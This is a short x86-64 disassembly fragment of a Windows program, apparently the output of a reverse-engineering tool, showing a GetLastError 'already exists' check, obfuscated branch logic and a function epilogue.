mov ebx, 0x5bbdd63e
jmp 0x14004064a
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
cmp eax, 0xb7
sete byte [rbp + 0x12f]
mov ecx, dword [0x14008ec18]
mov eax, dword [0x14008ec1c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc48fd3a3
and edx, 0x3b702c5c
or edx, ecx
mov ebx, edx
xor ebx, 0x3b702c5c
xor edx, 0xc40e01a2
and edx, 0xd65e05be
mov ecx, ebx
and ecx, 0x29a1fa41
or ecx, edx
xor ecx, 0x29a1fa40
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete r8b
setne dl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, ecx
xor cl, dl
and dl, al
and bl, r8b
or bl, dl
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
mov ecx, 0x23ba81c1
mov edx, 0x742e6ae1
cmovne ecx, edx
test al, al
mov eax, 0x23ba81c1
cmovne eax, ecx
test bl, bl
cmove eax, ecx
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, 0x28b302d9
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
sub rsp, 0x20
call fcn.1400584f0
add rsp, 0x20
xor eax, eax
movaps xmm6, xmmword [rbp + 0x160]
movaps xmm7, xmmword [rbp + 0x170]
movaps xmm8, xmmword [rbp + 0x180]
movaps xmm9, xmmword [rbp + 0x190]
movaps xmm10, xmmword [rbp + 0x1a0]
movaps xmm11, xmmword [rbp + 0x1b0]
movaps xmm12, xmmword [rbp + 0x1c0]
movaps xmm13, xmmword [rbp + 0x1d0]
movaps xmm14, xmmword [rbp + 0x1e0]
movaps xmm15, xmmword [rbp + 0x1f0]
lea rsp, [rbp + 0x208]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret